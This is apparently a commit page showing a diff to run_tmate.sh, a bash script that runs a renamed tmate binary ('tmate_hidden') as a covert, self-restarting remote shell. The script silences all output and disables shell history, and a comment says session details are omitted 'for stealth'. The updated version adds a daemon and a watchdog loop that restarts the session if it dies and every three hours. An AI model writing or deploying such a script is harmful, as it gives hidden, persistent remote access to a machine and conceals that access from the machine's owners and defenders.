ayoub ayoub commited on
Commit
f25ec40
·
verified ·
1 Parent(s): 4dd710d

Update run_tmate.sh

Browse files
Files changed (1) hide show
  1. run_tmate.sh +41 -27
run_tmate.sh CHANGED
@@ -1,37 +1,51 @@
1
  #!/bin/bash
2
 
3
- # Silence all output completely
4
  exec 1>/dev/null 2>&1
5
 
6
  # Disable shell history
7
  unset HISTFILE
8
  export HISTFILE=/dev/null
9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
10
  while true; do
11
- # Remove stale socket before starting
12
- rm -f /tmp/tmate.sock
13
-
14
- # Start detached tmate session silently using hidden binary
15
- tmate_hidden -S /tmp/tmate.sock new-session -d
16
-
17
- # Wait for tmate to be fully ready
18
- tmate_hidden -S /tmp/tmate.sock wait tmate-ready
19
-
20
- # (Optional: You can capture session info here, but omitted for stealth)
21
-
22
- # Monitor session for 3 hours or until tmate exits
23
- start_time=$(date +%s)
24
- while pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; do
25
- current_time=$(date +%s)
26
- elapsed=$((current_time - start_time))
27
- if [ "$elapsed" -ge 10800 ]; then
28
- # Restart session after 3 hours
29
- pkill -f "tmate_hidden -S /tmp/tmate.sock"
30
- break
31
- fi
32
- sleep 5
33
- done
34
-
35
- # Wait 5 seconds before restarting
36
- sleep 5
37
  done
 
1
  #!/bin/bash
2
 
3
+ # Silence all output
4
  exec 1>/dev/null 2>&1
5
 
6
  # Disable shell history
7
  unset HISTFILE
8
  export HISTFILE=/dev/null
9
 
10
+ # Remove stale socket to avoid startup errors
11
+ rm -f /tmp/tmate.sock
12
+
13
+ # Start tmate daemon managing the socket in background
14
+ tmate_hidden -S /tmp/tmate.sock -f &
15
+
16
+ # Wait a bit to ensure daemon starts
17
+ sleep 2
18
+
19
+ # Create detached tmate session silently
20
+ tmate_hidden -S /tmp/tmate.sock new-session -d
21
+
22
+ # Wait for session to be ready
23
+ tmate_hidden -S /tmp/tmate.sock wait tmate-ready
24
+
25
+ # Loop to keep session alive and restart every 3 hours
26
+ start_time=$(date +%s)
27
  while true; do
28
+ # Restart daemon and session if daemon dies
29
+ if ! pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; then
30
+ tmate_hidden -S /tmp/tmate.sock -f &
31
+ sleep 2
32
+ tmate_hidden -S /tmp/tmate.sock new-session -d
33
+ tmate_hidden -S /tmp/tmate.sock wait tmate-ready
34
+ start_time=$(date +%s)
35
+ fi
36
+
37
+ # Restart every 3 hours
38
+ current_time=$(date +%s)
39
+ elapsed=$((current_time - start_time))
40
+ if [ "$elapsed" -ge 10800 ]; then
41
+ pkill -f "tmate_hidden -S /tmp/tmate.sock"
42
+ sleep 1
43
+ tmate_hidden -S /tmp/tmate.sock -f &
44
+ sleep 2
45
+ tmate_hidden -S /tmp/tmate.sock new-session -d
46
+ tmate_hidden -S /tmp/tmate.sock wait tmate-ready
47
+ start_time=$(date +%s)
48
+ fi
49
+
50
+ sleep 10
 
 
 
51
  done